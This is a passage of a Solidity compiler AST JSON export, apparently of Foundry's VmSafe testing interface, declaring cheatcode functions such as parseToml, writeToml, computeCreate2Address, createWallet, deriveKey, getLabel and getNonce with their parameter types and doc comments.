l"}],"src":"66903:29:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14890,"nodeType":"FunctionDefinition","src":"66982:114:13","nodes":[],"documentation":{"id":14881,"nodeType":"StructuredDocumentation","src":"66939:38:13","text":"ABI-encodes a TOML table at `key`."},"functionSelector":"37736e08","implemented":false,"kind":"function","modifiers":[],"name":"parseToml","nameLocation":"66991:9:13","parameters":{"id":14886,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14883,"mutability":"mutable","name":"toml","nameLocation":"67017:4:13","nodeType":"VariableDeclaration","scope":14890,"src":"67001:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14882,"name":"string","nodeType":"ElementaryTypeName","src":"67001:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14885,"mutability":"mutable","name":"key","nameLocation":"67039:3:13","nodeType":"VariableDeclaration","scope":14890,"src":"67023:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14884,"name":"string","nodeType":"ElementaryTypeName","src":"67023:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"67000:43:13"},"returnParameters":{"id":14889,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14888,"mutability":"mutable","name":"abiEncodedData","nameLocation":"67080:14:13","nodeType":"VariableDeclaration","scope":14890,"src":"67067:27:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":14887,"name":"bytes","nodeType":"ElementaryTypeName","src":"67067:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"67066:29:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14898,"nodeType":"FunctionDefinition","src":"67189:72:13","nodes":[],"documentation":{"id":14891,"nodeType":"StructuredDocumentation","src":"67102:82:13","text":"Takes serialized JSON, converts to TOML and write a serialized TOML to a file."},"functionSelector":"c0865ba7","implemented":false,"kind":"function","modifiers":[],"name":"writeToml","nameLocation":"67198:9:13","parameters":{"id":14896,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14893,"mutability":"mutable","name":"json","nameLocation":"67224:4:13","nodeType":"VariableDeclaration","scope":14898,"src":"67208:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14892,"name":"string","nodeType":"ElementaryTypeName","src":"67208:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14895,"mutability":"mutable","name":"path","nameLocation":"67246:4:13","nodeType":"VariableDeclaration","scope":14898,"src":"67230:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14894,"name":"string","nodeType":"ElementaryTypeName","src":"67230:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"67207:44:13"},"returnParameters":{"id":14897,"nodeType":"ParameterList","parameters":[],"src":"67260:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14908,"nodeType":"FunctionDefinition","src":"67530:98:13","nodes":[],"documentation":{"id":14899,"nodeType":"StructuredDocumentation","src":"67267:258:13","text":"Takes serialized JSON, converts to TOML and write a serialized TOML table to an **existing** TOML file, replacing a value with key = \n This is useful to replace a specific value of a TOML file, without having to parse the entire thing."},"functionSelector":"51ac6a33","implemented":false,"kind":"function","modifiers":[],"name":"writeToml","nameLocation":"67539:9:13","parameters":{"id":14906,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14901,"mutability":"mutable","name":"json","nameLocation":"67565:4:13","nodeType":"VariableDeclaration","scope":14908,"src":"67549:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14900,"name":"string","nodeType":"ElementaryTypeName","src":"67549:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14903,"mutability":"mutable","name":"path","nameLocation":"67587:4:13","nodeType":"VariableDeclaration","scope":14908,"src":"67571:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14902,"name":"string","nodeType":"ElementaryTypeName","src":"67571:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14905,"mutability":"mutable","name":"valueKey","nameLocation":"67609:8:13","nodeType":"VariableDeclaration","scope":14908,"src":"67593:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14904,"name":"string","nodeType":"ElementaryTypeName","src":"67593:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"67548:70:13"},"returnParameters":{"id":14907,"nodeType":"ParameterList","parameters":[],"src":"67627:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14920,"nodeType":"FunctionDefinition","src":"67767:141:13","nodes":[],"documentation":{"id":14909,"nodeType":"StructuredDocumentation","src":"67670:92:13","text":"Compute the address of a contract created with CREATE2 using the given CREATE2 deployer."},"functionSelector":"d323826a","implemented":false,"kind":"function","modifiers":[],"name":"computeCreate2Address","nameLocation":"67776:21:13","parameters":{"id":14916,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14911,"mutability":"mutable","name":"salt","nameLocation":"67806:4:13","nodeType":"VariableDeclaration","scope":14920,"src":"67798:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14910,"name":"bytes32","nodeType":"ElementaryTypeName","src":"67798:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":14913,"mutability":"mutable","name":"initCodeHash","nameLocation":"67820:12:13","nodeType":"VariableDeclaration","scope":14920,"src":"67812:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14912,"name":"bytes32","nodeType":"ElementaryTypeName","src":"67812:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":14915,"mutability":"mutable","name":"deployer","nameLocation":"67842:8:13","nodeType":"VariableDeclaration","scope":14920,"src":"67834:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14914,"name":"address","nodeType":"ElementaryTypeName","src":"67834:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"67797:54:13"},"returnParameters":{"id":14919,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14918,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14920,"src":"67899:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14917,"name":"address","nodeType":"ElementaryTypeName","src":"67899:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"67898:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14930,"nodeType":"FunctionDefinition","src":"68013:99:13","nodes":[],"documentation":{"id":14921,"nodeType":"StructuredDocumentation","src":"67914:94:13","text":"Compute the address of a contract created with CREATE2 using the default CREATE2 deployer."},"functionSelector":"890c283b","implemented":false,"kind":"function","modifiers":[],"name":"computeCreate2Address","nameLocation":"68022:21:13","parameters":{"id":14926,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14923,"mutability":"mutable","name":"salt","nameLocation":"68052:4:13","nodeType":"VariableDeclaration","scope":14930,"src":"68044:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14922,"name":"bytes32","nodeType":"ElementaryTypeName","src":"68044:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":14925,"mutability":"mutable","name":"initCodeHash","nameLocation":"68066:12:13","nodeType":"VariableDeclaration","scope":14930,"src":"68058:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14924,"name":"bytes32","nodeType":"ElementaryTypeName","src":"68058:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"68043:36:13"},"returnParameters":{"id":14929,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14928,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14930,"src":"68103:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14927,"name":"address","nodeType":"ElementaryTypeName","src":"68103:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"68102:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14940,"nodeType":"FunctionDefinition","src":"68217:95:13","nodes":[],"documentation":{"id":14931,"nodeType":"StructuredDocumentation","src":"68118:94:13","text":"Compute the address a contract will be deployed at for a given deployer address and nonce."},"functionSelector":"74637a7a","implemented":false,"kind":"function","modifiers":[],"name":"computeCreateAddress","nameLocation":"68226:20:13","parameters":{"id":14936,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14933,"mutability":"mutable","name":"deployer","nameLocation":"68255:8:13","nodeType":"VariableDeclaration","scope":14940,"src":"68247:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14932,"name":"address","nodeType":"ElementaryTypeName","src":"68247:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":14935,"mutability":"mutable","name":"nonce","nameLocation":"68273:5:13","nodeType":"VariableDeclaration","scope":14940,"src":"68265:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14934,"name":"uint256","nodeType":"ElementaryTypeName","src":"68265:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"68246:33:13"},"returnParameters":{"id":14939,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14938,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14940,"src":"68303:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14937,"name":"address","nodeType":"ElementaryTypeName","src":"68303:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"68302:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14949,"nodeType":"FunctionDefinition","src":"68422:91:13","nodes":[],"documentation":{"id":14941,"nodeType":"StructuredDocumentation","src":"68318:99:13","text":"Derives a private key from the name, labels the account with that name, and returns the wallet."},"functionSelector":"7404f1d2","implemented":false,"kind":"function","modifiers":[],"name":"createWallet","nameLocation":"68431:12:13","parameters":{"id":14944,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14943,"mutability":"mutable","name":"walletLabel","nameLocation":"68460:11:13","nodeType":"VariableDeclaration","scope":14949,"src":"68444:27:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14942,"name":"string","nodeType":"ElementaryTypeName","src":"68444:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"68443:29:13"},"returnParameters":{"id":14948,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14947,"mutability":"mutable","name":"wallet","nameLocation":"68505:6:13","nodeType":"VariableDeclaration","scope":14949,"src":"68491:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_memory_ptr","typeString":"struct VmSafe.Wallet"},"typeName":{"id":14946,"nodeType":"UserDefinedTypeName","pathNode":{"id":14945,"name":"Wallet","nameLocations":["68491:6:13"],"nodeType":"IdentifierPath","referencedDeclaration":12125,"src":"68491:6:13"},"referencedDeclaration":12125,"src":"68491:6:13","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_storage_ptr","typeString":"struct VmSafe.Wallet"}},"visibility":"internal"}],"src":"68490:22:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14958,"nodeType":"FunctionDefinition","src":"68591:82:13","nodes":[],"documentation":{"id":14950,"nodeType":"StructuredDocumentation","src":"68519:67:13","text":"Generates a wallet from the private key and returns the wallet."},"functionSelector":"7a675bb6","implemented":false,"kind":"function","modifiers":[],"name":"createWallet","nameLocation":"68600:12:13","parameters":{"id":14953,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14952,"mutability":"mutable","name":"privateKey","nameLocation":"68621:10:13","nodeType":"VariableDeclaration","scope":14958,"src":"68613:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14951,"name":"uint256","nodeType":"ElementaryTypeName","src":"68613:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"68612:20:13"},"returnParameters":{"id":14957,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14956,"mutability":"mutable","name":"wallet","nameLocation":"68665:6:13","nodeType":"VariableDeclaration","scope":14958,"src":"68651:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_memory_ptr","typeString":"struct VmSafe.Wallet"},"typeName":{"id":14955,"nodeType":"UserDefinedTypeName","pathNode":{"id":14954,"name":"Wallet","nameLocations":["68651:6:13"],"nodeType":"IdentifierPath","referencedDeclaration":12125,"src":"68651:6:13"},"referencedDeclaration":12125,"src":"68651:6:13","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_storage_ptr","typeString":"struct VmSafe.Wallet"}},"visibility":"internal"}],"src":"68650:22:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14969,"nodeType":"FunctionDefinition","src":"68787:111:13","nodes":[],"documentation":{"id":14959,"nodeType":"StructuredDocumentation","src":"68679:103:13","text":"Generates a wallet from the private key, labels the account with that name, and returns the wallet."},"functionSelector":"ed7c5462","implemented":false,"kind":"function","modifiers":[],"name":"createWallet","nameLocation":"68796:12:13","parameters":{"id":14964,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14961,"mutability":"mutable","name":"privateKey","nameLocation":"68817:10:13","nodeType":"VariableDeclaration","scope":14969,"src":"68809:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14960,"name":"uint256","nodeType":"ElementaryTypeName","src":"68809:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14963,"mutability":"mutable","name":"walletLabel","nameLocation":"68845:11:13","nodeType":"VariableDeclaration","scope":14969,"src":"68829:27:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14962,"name":"string","nodeType":"ElementaryTypeName","src":"68829:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"68808:49:13"},"returnParameters":{"id":14968,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14967,"mutability":"mutable","name":"wallet","nameLocation":"68890:6:13","nodeType":"VariableDeclaration","scope":14969,"src":"68876:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_memory_ptr","typeString":"struct VmSafe.Wallet"},"typeName":{"id":14966,"nodeType":"UserDefinedTypeName","pathNode":{"id":14965,"name":"Wallet","nameLocations":["68876:6:13"],"nodeType":"IdentifierPath","referencedDeclaration":12125,"src":"68876:6:13"},"referencedDeclaration":12125,"src":"68876:6:13","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_storage_ptr","typeString":"struct VmSafe.Wallet"}},"visibility":"internal"}],"src":"68875:22:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14979,"nodeType":"FunctionDefinition","src":"69046:102:13","nodes":[],"documentation":{"id":14970,"nodeType":"StructuredDocumentation","src":"68904:137:13","text":"Derive a private key from a provided mnenomic string (or mnenomic file path)\n at the derivation path `m/44'/60'/0'/0/{index}`."},"functionSelector":"6229498b","implemented":false,"kind":"function","modifiers":[],"name":"deriveKey","nameLocation":"69055:9:13","parameters":{"id":14975,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14972,"mutability":"mutable","name":"mnemonic","nameLocation":"69081:8:13","nodeType":"VariableDeclaration","scope":14979,"src":"69065:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14971,"name":"string","nodeType":"ElementaryTypeName","src":"69065:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14974,"mutability":"mutable","name":"index","nameLocation":"69098:5:13","nodeType":"VariableDeclaration","scope":14979,"src":"69091:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"},"typeName":{"id":14973,"name":"uint32","nodeType":"ElementaryTypeName","src":"69091:6:13","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"visibility":"internal"}],"src":"69064:40:13"},"returnParameters":{"id":14978,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14977,"mutability":"mutable","name":"privateKey","nameLocation":"69136:10:13","nodeType":"VariableDeclaration","scope":14979,"src":"69128:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14976,"name":"uint256","nodeType":"ElementaryTypeName","src":"69128:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"69127:20:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14991,"nodeType":"FunctionDefinition","src":"69277:158:13","nodes":[],"documentation":{"id":14980,"nodeType":"StructuredDocumentation","src":"69154:118:13","text":"Derive a private key from a provided mnenomic string (or mnenomic file path)\n at `{derivationPath}{index}`."},"functionSelector":"6bcb2c1b","implemented":false,"kind":"function","modifiers":[],"name":"deriveKey","nameLocation":"69286:9:13","parameters":{"id":14987,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14982,"mutability":"mutable","name":"mnemonic","nameLocation":"69312:8:13","nodeType":"VariableDeclaration","scope":14991,"src":"69296:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14981,"name":"string","nodeType":"ElementaryTypeName","src":"69296:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14984,"mutability":"mutable","name":"derivationPath","nameLocation":"69338:14:13","nodeType":"VariableDeclaration","scope":14991,"src":"69322:30:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14983,"name":"string","nodeType":"ElementaryTypeName","src":"69322:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14986,"mutability":"mutable","name":"index","nameLocation":"69361:5:13","nodeType":"VariableDeclaration","scope":14991,"src":"69354:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"},"typeName":{"id":14985,"name":"uint32","nodeType":"ElementaryTypeName","src":"69354:6:13","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"visibility":"internal"}],"src":"69295:72:13"},"returnParameters":{"id":14990,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14989,"mutability":"mutable","name":"privateKey","nameLocation":"69423:10:13","nodeType":"VariableDeclaration","scope":14991,"src":"69415:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14988,"name":"uint256","nodeType":"ElementaryTypeName","src":"69415:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"69414:20:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":15003,"nodeType":"FunctionDefinition","src":"69609:152:13","nodes":[],"documentation":{"id":14992,"nodeType":"StructuredDocumentation","src":"69441:163:13","text":"Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language\n at the derivation path `m/44'/60'/0'/0/{index}`."},"functionSelector":"32c8176d","implemented":false,"kind":"function","modifiers":[],"name":"deriveKey","nameLocation":"69618:9:13","parameters":{"id":14999,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14994,"mutability":"mutable","name":"mnemonic","nameLocation":"69644:8:13","nodeType":"VariableDeclaration","scope":15003,"src":"69628:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14993,"name":"string","nodeType":"ElementaryTypeName","src":"69628:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14996,"mutability":"mutable","name":"index","nameLocation":"69661:5:13","nodeType":"VariableDeclaration","scope":15003,"src":"69654:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"},"typeName":{"id":14995,"name":"uint32","nodeType":"ElementaryTypeName","src":"69654:6:13","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"visibility":"internal"},{"constant":false,"id":14998,"mutability":"mutable","name":"language","nameLocation":"69684:8:13","nodeType":"VariableDeclaration","scope":15003,"src":"69668:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14997,"name":"string","nodeType":"ElementaryTypeName","src":"69668:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"69627:66:13"},"returnParameters":{"id":15002,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15001,"mutability":"mutable","name":"privateKey","nameLocation":"69749:10:13","nodeType":"VariableDeclaration","scope":15003,"src":"69741:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15000,"name":"uint256","nodeType":"ElementaryTypeName","src":"69741:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"69740:20:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":15017,"nodeType":"FunctionDefinition","src":"69916:184:13","nodes":[],"documentation":{"id":15004,"nodeType":"StructuredDocumentation","src":"69767:144:13","text":"Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language\n at `{derivationPath}{index}`."},"functionSelector":"29233b1f","implemented":false,"kind":"function","modifiers":[],"name":"deriveKey","nameLocation":"69925:9:13","parameters":{"id":15013,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15006,"mutability":"mutable","name":"mnemonic","nameLocation":"69951:8:13","nodeType":"VariableDeclaration","scope":15017,"src":"69935:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15005,"name":"string","nodeType":"ElementaryTypeName","src":"69935:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":15008,"mutability":"mutable","name":"derivationPath","nameLocation":"69977:14:13","nodeType":"VariableDeclaration","scope":15017,"src":"69961:30:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15007,"name":"string","nodeType":"ElementaryTypeName","src":"69961:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":15010,"mutability":"mutable","name":"index","nameLocation":"70000:5:13","nodeType":"VariableDeclaration","scope":15017,"src":"69993:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"},"typeName":{"id":15009,"name":"uint32","nodeType":"ElementaryTypeName","src":"69993:6:13","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"visibility":"internal"},{"constant":false,"id":15012,"mutability":"mutable","name":"language","nameLocation":"70023:8:13","nodeType":"VariableDeclaration","scope":15017,"src":"70007:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15011,"name":"string","nodeType":"ElementaryTypeName","src":"70007:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"69934:98:13"},"returnParameters":{"id":15016,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15015,"mutability":"mutable","name":"privateKey","nameLocation":"70088:10:13","nodeType":"VariableDeclaration","scope":15017,"src":"70080:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15014,"name":"uint256","nodeType":"ElementaryTypeName","src":"70080:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"70079:20:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":15025,"nodeType":"FunctionDefinition","src":"70156:86:13","nodes":[],"documentation":{"id":15018,"nodeType":"StructuredDocumentation","src":"70106:45:13","text":"Gets the label for the specified address."},"functionSelector":"28a249b0","implemented":false,"kind":"function","modifiers":[],"name":"getLabel","nameLocation":"70165:8:13","parameters":{"id":15021,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15020,"mutability":"mutable","name":"account","nameLocation":"70182:7:13","nodeType":"VariableDeclaration","scope":15025,"src":"70174:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15019,"name":"address","nodeType":"ElementaryTypeName","src":"70174:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"70173:17:13"},"returnParameters":{"id":15024,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15023,"mutability":"mutable","name":"currentLabel","nameLocation":"70228:12:13","nodeType":"VariableDeclaration","scope":15025,"src":"70214:26:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":15022,"name":"string","nodeType":"ElementaryTypeName","src":"70214:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"70213:28:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":15034,"nodeType":"FunctionDefinition","src":"70280:74:13","nodes":[],"documentation":{"id":15026,"nodeType":"StructuredDocumentation","src":"70248:27:13","text":"Get a `Wallet`'s nonce."},"functionSelector":"a5748aad","implemented":false,"kind":"function","modifiers":[],"name":"getNonce","nameLocation":"70289:8:13","parameters":{"id":15030,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15029,"mutability":"mutable","name":"wallet","nameLocation":"70314:6:13","nodeType":"VariableDeclaration","scope":15034,"src":"70298:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_calldata_ptr","typeString":"struct VmSafe.Wallet"},"typeName":{"id":15028,"nodeType":"UserDefinedTypeName","pathNode":{"id":15027,"name":"Wallet","nameLocations":["70298:6:13"],"nodeType":"IdentifierPath","referencedDeclaration":12125,"src":"70298:6:13"},"referencedDeclaration":12125,"src":"70298:6:13","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_storage_ptr","typeString":"struct 